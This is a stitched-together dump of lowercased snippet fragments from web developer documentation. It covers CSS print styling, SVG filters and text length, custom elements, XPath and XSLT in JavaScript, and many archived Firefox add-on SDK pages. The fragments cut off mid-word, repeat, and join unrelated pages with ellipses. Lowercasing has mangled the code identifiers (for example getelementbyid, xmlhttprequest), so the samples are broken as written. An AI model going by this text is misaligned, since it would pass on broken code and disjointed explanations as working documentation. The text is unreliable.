it is equally appropriate to use ems (em) to match the font size, and percentages (%). you can control how the content of the document breaks across page boundaries, by using the page-break-before, page-break-after and page-break-inside properties. example this rule sets the page margins to one inch on all four sides: @page {margin: 1in;} this rule ensures that every h1 element starts on a
new page: h1 {page-break-before: always;} more details for full details of css support for paged media, see paged media in the css specification. like other features of css, printing depends on browser choice and its settings. for example, the mozilla browser supplies default margins, headers, and footers for printing. keep in mind that you can't completely control the printed format. it is im...
...tion about user interfaces in css, see user interface in the css specification. in part ii of this tutorial, there is an example of mozilla's markup language for user interfaces. action: printing a document note: this snippet only works on firefox since it erroneously increments the css counter for fix-position elemnts. it shouldn not work in other browsers. see issue on css3-page. make a
new html document, doc4.html. copy and paste the content from here: <!doctype html> <html> <head> <title>print sample</title> <link rel="stylesheet" href="style4.css"> </head> <body> <h1>section a</h1> <p>this is the first section...</p> <h1>section b</h1> <p>this is the second section...</p> <div id="print-head"> heading for paged media </div> <div ...
...copy and paste the content from here: /*** print sample ***/ /* defaults for screen */ #print-head, #print-foot { display: none; } /* print only */ @media print { h1 { page-break-before: always; padding-top: 2em; } h1:first-child { page-break-before: avoid; counter-reset: page; } #print-head { display: block; position: fixed; top: 0pt; left:...
... heading for paged media section b this is the second section... page: 2 challenges move the print-specific style rules to a separate css file. read the @import reference page to find details of how to import the
new print-specific css file into your style4.css stylesheet. make the headings turn blue when the mouse pointer is over them. see solutions to these challenges. what next? so far, all the style rules in this tutorial have been specified in files. the rules and their values are fixed. the next page describes how you can change rules dynamically by using a programming language: javasc...
textLength - SVG: Scalable Vector Graphics
these events will be sent any time the slid...
... = document.getelementbyid("hello"); const baselength = math.floor(textelement.textlength.baseval.value); widthslider.value = baselength; widthslider.addeventlistener("input", function(event) { textelement.textlength.baseval.
newvaluespecifiedunits( svglength.svg_lengthtype_px, widthslider.valueasnumber); widthdisplay.innertext = widthslider.value; }, false); widthslider.dispatchevent(
new event("input")); after fetching the element references, an eventlistener is established by calling addeventlistener() on the slider control, to receive any input events which occur. these events will be sent any time the slider's value changes, even if the user hasn't stopped moving it, so we can responsively adjust the text width. when an "input" event occurs, we call svglength.
newvaluespeci...
... an eventlistener is established by calling addeventlistener() on the slider control, to receive any input events which occur. these events will be sent any time the slider's value changes, even if the user hasn't stopped moving it, so we can responsively adjust the text width. ...
... result here's what the example looks like. try dragging the slider around to get a feel for what it does. specifications specification status comment scalable vector graphics (svg) 2the definition of 'textlength' in that specification. ...
<feColorMatrix> - SVG: Scalable Vector Graphics
the <fecolormatrix> svg filter element changes colors based on a transformation matrix. every pixel's color value [r,g,b,a] is matrix multiplied by a 5 by 5 color matrix to create
new color [r',g',b',a']. the prime symbol ' is used in mathematics indicate the result of a transformation. | r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the
new pixel is calculated. the last row is ignored because its values are constant. r' = r1*r + r2*g + r3*b + r4*a + r5 g' = g1*r + g2*g + g3*b + g4*a + g5 b' = b1*r + b2*g + b3*b + b4*a + b5 a' = a1*r + a2*g + a3*b + a4*a + a5 take the amount of red in the ...
... b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the
new pixel is calculated. the last row is ignored because its values are constant. r' = r1*r + r2*g + r3*b + r4*a + r5 g' = g1*r + g2*g + g3*b + g4*a + g5 b' = b1*r + b2*g + b3*b + b4*a + b5 a' = a1*r + a2*g + a3*b + a4*a + a5 take the amount of red in the
new pixel, or r': it is the sum of r1 times the old pixel's red r, r2 times the old pixel's green g, r3 times of the old pixel's blue b, r4 times the old pixel's alpha a, plus a shift r5. these specified amounts can be any real number, though the final r' will be clamped between 0 and 1. the same goes for g', b', and a'. r' = r1 * r + r2 * g + r3 * b + ...
...m of r1 times the old pixel's red r, r2 times the old pixel's green g, r3 times of the old pixel's blue b, r4 times the old pixel's alpha a, plus a shift r5. these specified amounts can be any real number, though the final r' will be clamped between 0 and 1. the same goes for g', b', and a'. r' = r1 * r + r2 * g + r3 * b + r4 * a + r5
new red = [ r1 * old red ] + [ r2 * old green ] + [ r3 * old blue ] + [ r4 * old alpha ] + [ shift of r5 ] if, say, we want to make a completely black image redder, we can make the r5 a positive real number x, boosting the redness on every pixel of the
new image by x. an identity matrix looks like this: r g b a w r' | 1 0 0 0 0 | g' | 0 1 0 0 0 | b' | 0 0 1 0 0 | a' | 0 0 0 1 0 | in it, ev...
...it is recommended to start manipulating the matrix from here. ...
Using custom elements - Web Components
appen each time the node is moved, and may happen before the element's contents have been fully parsed. note: connectedcallback may be called once your element is no longer connected, use node.isconnected to make sure. disconnectedcallback: invoked each time the custom element is disconnected from the document's dom. adoptedcallback: invoked each time the custom element is moved to a
new document. attributechangedcallback: invoked each time one of the custom element's attributes is added, removed, or changed. which attributes to notice change for is specified in a static get observedattributes method let's look at an example of these in use. the code below is taken from the life-cycle-callbacks example (see it running live). this is a trivial example that simply generates a co...
...in this case however, we are just running the updatestyle() function again to make sure that the square's style is updated as per th...
...sconnectedcallback() { console.log('custom square element removed from page.'); } adoptedcallback() { console.log('custom square element moved to
new page.'); } the attributechangedcallback() callback is run whenever one of the element's attributes is changed in some way. as you can see from its properties, it is possible to act on attributes individually, looking at their name, and old and
new attribute values. ...
...age.'); } the attributechangedcallback() callback is run whenever one of the element's attributes is changed in some way. as you can see from its properties, it is possible to act on attributes individually, looking at their name, and old and
new attribute values. in this case however, we are just running the updatestyle() function again to make sure that the square's style is updated as per the
new values: attributechangedcallback(name, oldvalue,
newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } note that to get the attributechangedcallback() callback to fire when an attribute changes, you have to observe the attributes. this is done by specifying a static get observedattributes() method inside custom element class - this should return an arra...
Introduction to using XPath in JavaScript - XPath
onstant is xpathresult.any_type which will return the results of the xpath expression as the most natural type. there is a section in the appendix which contains a full list of the available constants. they are explained below in the section "specifying the return type." result: if an existing xpathresult object is specified, it will be reused to return the results. specifying null will create a
new xpathresult object. return value returns xpathresult, which is an xpathresult object of the type specified in the resulttype parameter. the xpathresult interface is defined here. implementing a default namespace resolver we create a namespace resolver using the creatensresolver method of the document object. var nsresolver = document.creatensresolver( contextnode.ownerdocument == null ? con...
... namespace resolver we create a namespace resolver using the creatensresolver method of the document object. var nsresolver = document.creatensresolver( contextnode.ownerdocument == null ? contextnode.documentelement : contextnode.ownerdocument.documentelement ); or alternatively by using the <code>creatensresolver</code> method of a <code>xpathevaluator</code> object. <pre> var xpevaluator =
new xpathevaluator(); var nsresolver = xpevaluator.creatensresolver( contextnode.ownerdocument == null ? contextnode.documentelement : contextnode.ownerdocument.documentelement ); </pre> and then pass document.evaluate, the nsresolver variable as the namespaceresolver parameter. note: xpath defines qnames without a prefix to match only elements in the null namespace. there is no way in xpath to pick...
...e itemnumber is the index of the node to be retrieved. the total number of nodes contained can be accessed through the snapshotlength property. snapshots do not change with document mutations, so unlike the iterators, the snapshot does not become invalid, but it may not correspond to the current document, for example, the nodes may have been moved, it might contain nodes that no longer exist, or
new nodes could have been added. snapshot example var nodessnapshot = document.evaluate('//phonenumber', documentnode, null, xpathresult.ordered_node_snapshot_type, null ); for ( var i=0 ; i < nodessnapshot.snapshotlength; i++ ) { alert( nodessnapshot.snapshotitem(i).textcontent ); } first node when the specified result type in the resulttype parameter is either: any_unordered_node_type f...
...ry="uk"/> <phonenumber>020 7925 0918</phonenumber> </person> </people> to make the contents of the xml document available within the extension, we create an xmlhttprequest object to load the document synchronously, the variable xmldoc will contain the document as an xmldocument object against which we can use the evaluate method javascript used in the extensions xul/js documents. ...
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
is complete, the result is appended to the document, as shown in this example. ...
... // importnode is used to clone ...
...t var xslref; var xslloaded = false; var xsltprocessor =
new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p =
new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a
new xml document in memory xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom from an html document to an xml document. // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // after cloning, we...
...); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the
new content from the transformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:tem...
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
ssor.importstylesheet() method that takes as an argument the xslt stylesheet to be used in the transformation. the stylesheet has to be passed in as an xml document, which means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet(). this can be done via xmlhttprequest or xmldocument.load(). ...
...be passed in as an xml document, which means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet(). this can be done via xmlhttprequest or xmldocument.load(). figure 1 : instantiating an xsltprocessor var xsltprocessor =
new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest =
new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, which is used in conjunction with the imported xsl file to produce the final result. the xml document can...
...n this case from an html document to an xml document. the first parameter references the dom node to clone. by making the second parameter "true", it will clone all descendants as well (a deep clone). the cloned dom can then be easily inserted into the xml document using node.appendchild(), as shown in figure 2. figure 2 : creating an xml document based on part of a document's dom // create a
new xml document in memory var xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom from an html document to an xml document. // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // add the clone...
... fragment will be inserted into the current html document, passing in document is enough. ...
page-worker - Archive of obsolete content
you specify the page to load using the contenturl option to the page() constructor. this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on. ...
...: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html"). so you can rewrite the above code like this: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "./myfile.html" }); you can load a
new page by setting the page worker's contenturl property. in this example we fetch the first paragraph of a page from wikipedia, then the first paragraph of a different page: var getfirstparagraph = "var paras = document.getelementsbytagname('p');" + "console.log(paras[0].textcontent);" + "self.port.emit('loaded');" pageworker = require("sdk/page-wor...
...tent scripts that have been supplied to it in the contentscript and contentscriptfile options. the page is not displayed to the user. the page worker is loaded as soon as the page object is created and stays loaded until its destroy method is called or the add-on is unloaded. methods destroy() unloads the page worker. after you destroy a page worker, its memory is freed and you must create a
new instance if you need to load another page. postmessage(message) sends a message to the content scripts. parameters message : value the message to send. must be json-able. on(type, listener) registers an event listener with the page worker. see working with events for help with events. parameters type : string the type of event to listen for. listener : function the listener function t...
selection - Archive of obsolete content
} } surround html selections with delimiters: var selection = require("sdk/selection"); selection.on('select', function () { selection.html = "\\\" + selection.html + "///"; }); globals properties text gets or sets the current selection as plain text. setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the
new text. getting the selection when there is no current selection returns null. setting the selection when there is no current selection throws an exception. getting the selection when iscontiguous is true returns the text of the first selection. html gets or sets the current selection as html. setting the selection removes all current selections, inserts the specified text at the location of the ...
... there is no current selection returns null. setting the selection when there is no current selection throws an exception. getting the selection when iscontiguous is true returns the text of the first selection. html gets or sets the current selection as html. setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the
new text. getting the selection when there is no current selection returns null. setting the selection when there is no current selection throws an exception. getting the selection when iscontiguous is true returns the text of the first selection. iscontiguous true if the current selection is a single, contiguous selection, and false if there are two or more discrete selections, each of which may o...
... ...
simple-prefs - Archive of obsolete content
alues, and users can configure these preferences in the add-ons manager. this gives users a consistent way to access and modify preferences across different add-ons. this api is for your add-on's preferences. if you need to get and set the general browser preferences, use preferences/service. usage defining and initializing preferences to define preferences and give them initial values, add a
new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ... "preferences": [{ "name": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }, ...
... the branch of the preferences tree under which simple-prefs are stored is, by default, the add-on id. sometimes you might need to use a different branch, especially if you are porting an add-on to the sdk. you can change the sub-branch of extensions using the preferences-branch key in your add-on's package.json file. globals functions on(prefname, listener) registers an ...
...e": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }] you can access somepreference using the prefs property: var preferences = require("sdk/simple-prefs").prefs; console.log(preferences.somepreference); preferences.somepreference = "this is a
new value"; console.log(prefs["somepreference"]); // bracket notation preferences["somepreference"] = "this is the default string value"; console.log: my-addon: this is the default string value console.log: my-addon: this is a
new value ...
/loader - Archive of obsolete content
t has already been developed. secure each module in an isolated js sandbox and makes any capability imports explicit via calls to the require() function. create task specific loaders with restricted module access. provide unload hooks that may be used to undo changes made by anything loaded into it. instantiation the loader module provides a loader() function that may be used to instantiate
new loader instances: let loader = loader(options); configuration loader() may be provided with a set of configuration options: paths: describes where the loader should find the modules it is asked to load. mandatory. modules: provides a set of module exports. optional. globals: provides a set of globals shared across modules loaded via this loader. optional. resolve: provide customized modu...
...' + id + "') } }); thrown exceptions will propagate to the caller of require(). if the function assigned to resolve does not return a string value, an exception will still be thrown as the loader will be unable to resolve the required module's location. id add-on debugging requires knowing which objects belong to which add-on. when created with this option, loader will transparently mark all
new global objects with the provided value. all together all of these options can be combined to configure the loader for a specific use case. don't get too excited about configuration options, keep in mind that modules are more useful if they can be used across loader instances. unless you have specific needs it's best to stick to an sdk-compatible configuration, like this: let { loader } = requi...
...s under the components global. this alternative approach of providing capabilities via modules makes it possible to build module capability graphs by analyzing require statements. these graphs can be used to reason about modules without diving into implementation details. @loader/options this pseudo module exposes all the options that were used to configure this loader. it enables you to create
new loader instances identical to the current one: let { loader } = require('toolkit/loader'); let options = require('@loader/options'); let loader = loader(options); this module is useful in very specific cases. for example the sdk uses this feature during test execution to create an identical environment with a different state to test how specific modules handle unloads. @loader/unload this pse...
tabs/utils - Archive of obsolete content
ns array : an array of tab elements. getactivetab(window) given a browser window, get the active, or selected, tab. parameters window : window a browser window. returns tab : the currently selected tab. getownerwindow(tab) get the browser window that owns the specified tab. parameters tab : tab a browser tab. returns window : a browser window. opentab(window, url, options) open a
new tab in the specified browser window. parameters window : window the browser window in which to open the tab. url : string url for the document to load. options : object optional options: name type inbackground boolean if true, open the
new tab, but keep the currently selected tab selected. if false, make the
new tab the selected tab. optional, defa...
... istabopen(tab) test whether the specified tab is open. parameters tab : tab a xul tab element. returns boolean : true if the tab is open, otherwise false. closetab(tab) close the specified tab. ...
... gettabtitle(tab) get the title of the document hosted by the specified tab, or the tab's label if the tab doesn't host a document. parameters tab : tab a xul tab element. returns string : settabtitle(tab, title) set the title of the document hosted by the specified tab, or the tab's label if the tab doesn't host a document. parameters tab : tab a xul tab element. title : string the
new title. gettabcontentwindow(tab) get the specified tab's content window. parameters tab : tab a xul tab element. returns window : getalltabcontentwindows() get all tabs' content windows across all the browsers' windows. returns array : array of windows. gettabforcontentwindow(window) get the tab element that hosts the specified content window. parameters window : window returns ta...
util/collection - Archive of obsolete content
functions addcollectionproperty(object, propname, [backingarray]) adds a collection property to the given object. ...
... functions addcollectionproperty(object, propname, [backingarray]) adds a collection property to the given object. ...
...ject : object the property will be defined on this object. propname : string the name of the property. backingarray : array if given, this will be used as the collection's backing array. collection a collection object provides for...in-loop iteration. items are yielded in the order they were added. for example, the following code... var collection = require("sdk/util/collection"); var c =
new collection.collection(); c.add(1); c.add(2); c.add(3); for (item in c) console.log(item); ... would print this to the console: 1 2 3 iteration proceeds over a copy of the collection made before iteration begins, so it is safe to mutate the collection during iteration; doing so does not affect the results of the iteration. methods add(itemoritems) adds a single item or an array of i...
window/utils - Archive of obsolete content
/utils'); var window = open('data:text/html,hello window'); this function wraps nsiwindowwatcher.openwindow. parameters uri : string uri of the document to be loaded into the window. only chrome, resource, and data schemes are accepted. options : object options for the function, with the following properties: name type parent nsidomwindow parent for the
new window. optional, defaults to null. name string name that is assigned to the window. optional, defaults to null. features object map of features to set for the window, defined like this: { width: 10, height: 15, chrome: true }. see the window.open features documentation for more details. optional, defaults to an empty map: {}. var { open } = requi...
...: 15, chrome: true }. see the window.open features documentation for more details. optional, defaults to an empty map: {}. var { open } = require('sdk/window/utils'); var window = open('data:text/html,hello window', { name: 'jetpack window', features: { width: 200, height: 50, popup: true } }); args object extra argument(s) to be attached to the
new window as the window.arguments property. returns nsidomwindow opendialog(options) opens a top level window and returns its nsidomwindow representation. this is the same as open, but you can supply more features. it wraps window.opendialog. parameters options : object options for the function, with the following properties: name type url string u...
...onal name that is assigned to the window. defaults to "_blank". features string map of features to set for the window, defined like: { width: 10, height: 15, chrome: true }. for the set of features you can set, see the window.opendialog documentation. optional, defaults to: 'chrome,all,dialog=no'. args object extra argument(s) to be attached to the
new window as the window.arguments property. returns nsidomwindow windows() returns an array of all currently opened windows. note that these windows may still be loading. in order to see private windows in this list, your add-on must have opted into private browsing and you must include the includeprivate key in the list of options: var allwindows = window_utils.windows(null, {includepri...
Release notes - Archive of obsolete content
firefox 35 highlights added access keys for context menu. removed isprivatebrowsing from browserwindow. details github commits made between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. firefox 34 highlights
new api: dev/panel enables you to extend the firefox developer tools. jpm beta released. "./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to individual tabs. details github commits made between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. bugs fixed between fir...
...") added the ability to attach stylesheets to individual tabs. details github commits made between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. firefox 33 highlights added support for context menus in panels via a
new option in the panel constructor. added tab.readystate. added a browserwindow parameter to sidebar.show() and sidebar.hide(), to control the window for which the sidebar will be shown or hidden. details github commits made between firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 32 and firefox 33. this will not in...
...hrottle() and debounce() functions added to lang/functional. gettabforid() function added to tabs/utils. details github commits made between firefox 29 and firefox 30. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 29 and firefox 30. this will not include any uplifts made after this release entered aurora. firefox 29 highlights added
new ui modules for australis: actionbutton, togglebutton, frame and toolbar. made the preferences branch for simple-prefs configurable. added predicatecontext to sdk/context-menu. deprecated widget in favor of the
new ui modules. removed tab-browser, app-strings and api-utils.publicconstructor details github commits made between firefox 28 and firefox 29. this will not include any uplifts made...
cfx to jpm - Archive of obsolete content
node.js. it replaces the old cfx tool. you can use jpm from firefox 38 onwards. this article highlights the main differences between cfx and jpm. a guide to working with jpm if you're already familiar with cfx. installation cfx is python-based and is distributed as a zip file. jpm is node-js-based and is distributed through npm. so for jpm you don't need python, but you do need npm. to get
new updates of cfx you download and extract a
new zip file, while to get the
new version of jpm, use npm update. for jpm installation instructions, see the installation section in the jpm reference. activation you need to call cfx activate before you can use cfx, and this only works in the current command shell: if you open a
new shell you have to call activate again. with jpm, you don't need to ...
...tibilities in most respects, add-ons created with cfx will work fine with jpm. however, there are a few differences you have to know about. add-on id the add-on id is a unique identifier for your add-on. in a built xpi, it's the id field in the add-on's install manifest (install.rdf) file. the id is used for a variety of purposes. for example: addons.mozilla.org uses it to distinguish between
new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on. id handling with cfx when you use cfx, the id is taken from the id field in the add-on's package.json file. you can edit this file to create your own id, but if you don't, cfx will generate one for you, which will look something like "jid1-f3boogbjqje67a". add...
... in jpm the old way to use third-party modules no longer works. instead, jpm expects third-party modules to be hosted on npm, and you can use them by installing them from npm into your add-on's directory tree, then requiring them. see the tutorial on using third-party modules ...
package.json - Archive of obsolete content
ating a manifest the package.json file is initially generated in your add-on's root directory the first time you run jpm init. it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the
new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company. defaults to an empty string. it may include a optional url in parenthese...
...y is present, its value will be used as the add-on's em:name element in its install.rdf. harnessclassid note: this is deprecated along with cfx; it's not available when using jpm. string in the guid format. this is used as a classid of the "harness service" xpcom component. defaults to a random guid generated by cfx. hasembeddedwebextension
new in jpm 1.2.0. boolean value: true if the add-on contains an embedded webextension. homepage the url of the add-on's website. this value will be used as the add-on's em:homepageurl element in its install.rdf. icon the path to an image file containing the icon for the add-on. optional: you can have no icon field in package.json and put your i...
... reorder package.json the package.json file is simple format. you can describe keys in any order. but sometimes it should be better reorder it for improve readability. ...
Add a Context Menu Item - Archive of obsolete content
the item is displayed whenever something in the page is selected. ...
...: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', onmessage: function (selectiontext) { console.log(selectiontext); } }); try it: run the add-on, load a web page, select some text and right-click. you should see the
new item appear: click it, and the selection is logged to the console (or the shell, if you're running an instance of firefox from the command line): info: elephantine lizard details all this add-on does is to construct a context menu item. you don't need to add it: once you have constructed the item, it is automatically added in the correct context. the constructor in this case takes four opt...
... from firefox 35 you can specify an access key using the accesskey option. this must be a single-character string. pressing the key selects the option when the context menu is open: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' ...
Localization - Archive of obsolete content
or "bonjour !", according to the current locale: the translation is inserted into the node which has the data-l10n-id attribute set. any previously existing content is just replaced. the string is inserted as text, so you can't insert html using a statement like: # does not work. html tags are inserted as text. ...
...r might want to choose between the following: "<town_name> is <person_name>'s home town." "<person_name>'s home town is <town_name>" to choose the first option, the .properties file can order the placeholders as follows: home_town_id= %2s is %1s's home town. this gives us the following output: info: london is bob's home town. using localized strings in add-on meta data this feature is
new in jpm 1.0.6. support for homepage was added in jpm 1.0.7 by including a "locales" structure in your add-on's "package.json" file, you can localize the title, description and homepage of your add-on. this structure holds objects referenced by the locale name containing at least one of title, description or homepage as a property. for example, here's a "package.json" defining a german localizat...
...using the default language strings both as user interface strings and as keys to look up your translations. this means that if you want to change the wording of a string in the default language, or fix a typo, then you break all your locale files. locale updater the locale updater add-on makes it easier to update locale files. once you've installed it, open the add-on manager, and you'll see a
new button labeled "update l10n" next to each add-on you've installed: click the button and you'll be prompted for a
new .properties file for that add-on. if you provide a
new file, the add-on's locale data will be updated with the
new file. limitations the current localization support is a first step towards full support, and contains a number of limitations. there's no support for conten...
Customizing the download progress bar - Archive of obsolete content
this example illustrates how to customize the progress bar displayed for a given download in the downloads window. first you need to overlay the downloads window so that you can add a
new stylesheet. ...
...for a given download in the downloads window. first you need to overlay the downloads window so that you can add a
new stylesheet. in your jar.mn file, add the following (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/content/downloads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the
new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so that it will be preprocessed. this is required since it contains platform...
... ...
Downloading Files - Archive of obsolete content
if, and only if, the url is not // related to a window, null should be used instead. var privacy = privatebrowsingutils.privacycontextfromwindow(aurlsourcewindow); var progresselement = document.getelementbyid("progress_element"); persist.progresslistener = { onpr...
...et the progresslistener property of the nsiwebbrowserpersist instance to an object that implements nsiauthprompt. normally, nsiauthprompt expects a prompt to be displayed so the user can enter credentials, but you can return a username and password credentials directly without prompting the user. if you want to open a login prompt, you can use the default prompt by calling the window watcher's get
newauthprompter() method. components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); // obtain the privacy context of the browser window that the url // we are download...
...nction is for fetching an image file from a url. // accepts a url and returns the file. // returns empty if the file is not found (with an 404 error for instance). // tried with .jpg, .ico, .gif (even .html). ...
JS XPCOM - Archive of obsolete content
n xpcom object. they are used to create or access well-known objects in xpcom. interfaces every xpcom object implements one or more interfaces. an interface is simply a list of constants and methods that can be called on the object, an example is nsifile. every xpcom object must implement the nsisupports interface. accessing xpcom components from javascript xpcom objects are either created as
new instances (each creation gives you a completely
new com object) or as services (each access gives you the same com object, often called a singleton). whether you must create a
new instance or access as a service depends on the contract. in order to get an xpcom object you need to know the contract id of the object and the interface that you wish to use on it. creating an instance of a component ...
...e depends on the contract. in order to get an xpcom object you need to know the contract id of the object and the interface that you wish to use on it. creating an instance of a component the preferred method of creating xpcom instances is via the components.constructor helper. for example, var nsfile = components.constructor("@mozilla.org/file/local;1", "nsifile", "initwithpath"); var file =
new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a
new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods from the nsifile interface on it. getting an xpcom ...
...ceof returns a boolean. xpcomutils - about protocol handler this example implements a quick about protocol handler in js using xpcomutils.jsm. components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/xpcomutils.jsm"); const cc = components.classes; const ci = components.interfaces; function abouthandler() {} abouthandler.prototype = {
newchannel: function(uri) { var channel = services.io.
newchannel("chrome://mystuff/content/mystuff.xul", null, null); channel.originaluri = uri; return channel; }, geturiflags: function(uri) { // do not return ci.nsiaboutmodule.uri_safe_for_untrusted_content unless // you make sure to set a non-system principal in
newchannel. return 0; }, ...
Post data to window - Archive of obsolete content
preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream. ...
...e data to one of the methods. here is an example: var datastring = "name1=data1&name2=data2"; // post method requests must wrap the encoded text in a mime // stream const cc = components.classes; const ci = components.interfaces; var stringstream = cc["@mozilla.org/io/string-input-stream;1"]. createinstance(ci.nsistringinputstream); if ("data" in stringstream) // gecko 1.9 or
newer stringstream.data = datastring; else // 1.8 or older stringstream.setdata(datastring, datastring.length); var postdata = cc["@mozilla.org/network/mime-input-stream;1"]. createinstance(ci.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be us...
...dheader("content-type", "application/x-www-form-urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ... posting data to the current tab there is a convenience method in global scope (in firefox, chrome://browser/content/browser.js): loaduri(auri, areferrer, apostdata, aallowthirdpartyfixup); posting data to a
new window window.opendialog('chrome://browser/content', '_blank', 'all,dialog=no', auri, aflags, areferrer, apostdata); ...
Preferences - Archive of obsolete content
otype.register = function(trigger) { this._branch.addobserver('', this, false); if (trigger) { let that = this; this._branch.getchildlist('', {}). ...
...eftype('extensions.myext.key')){ //key exist! } examples github - gist :: _ff-addon-template-bootstrapprefsskeleton - this gist here is a fully working example of a fully funcitonal preferences skeleton, it uses the observer example from above. this example also uses a technique to trigger an onchange function that can be defined per preference and has the old value and along with the
new value of the preference. it also uses a technique so you can just do prefs.preferencename.setval('blah') instead of having to branch.setcharpref etc. resources other documentation on preferences preferences api a brief guide to mozilla preferences — describes preferences system from user's/administrator's pov mozilla xpcom interfaces of the preferences system mos...
... fixme: ...
Displaying web content in an extension without security issues - Archive of obsolete content
is no parent document (remember, content documents have no access to the chrome documents above them) and consequently no privileges. so in the simplest case you would have: <iframe type="content" src="data:text/html,%3chtml%3e%3cbody%3e%3c/body%3e%3c/html%3e"/> but usually you don’t want to start with an empty document, you would rather want to load some template into the frame: var request =
new xmlhttprequest(); request.open("get", "chrome://foo/content/template.html", false); request.send(null); frame.setattribute("src", "data:text/html," + encodeuricomponent(request.responsetext)); that way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame. restricting what documents that contain untrusted data can do there are several rest...
... is still required when using innerhtml and it is far from trivial. it is much easier to use dom manipulation methods that won’t have unexpected side-effects. ...
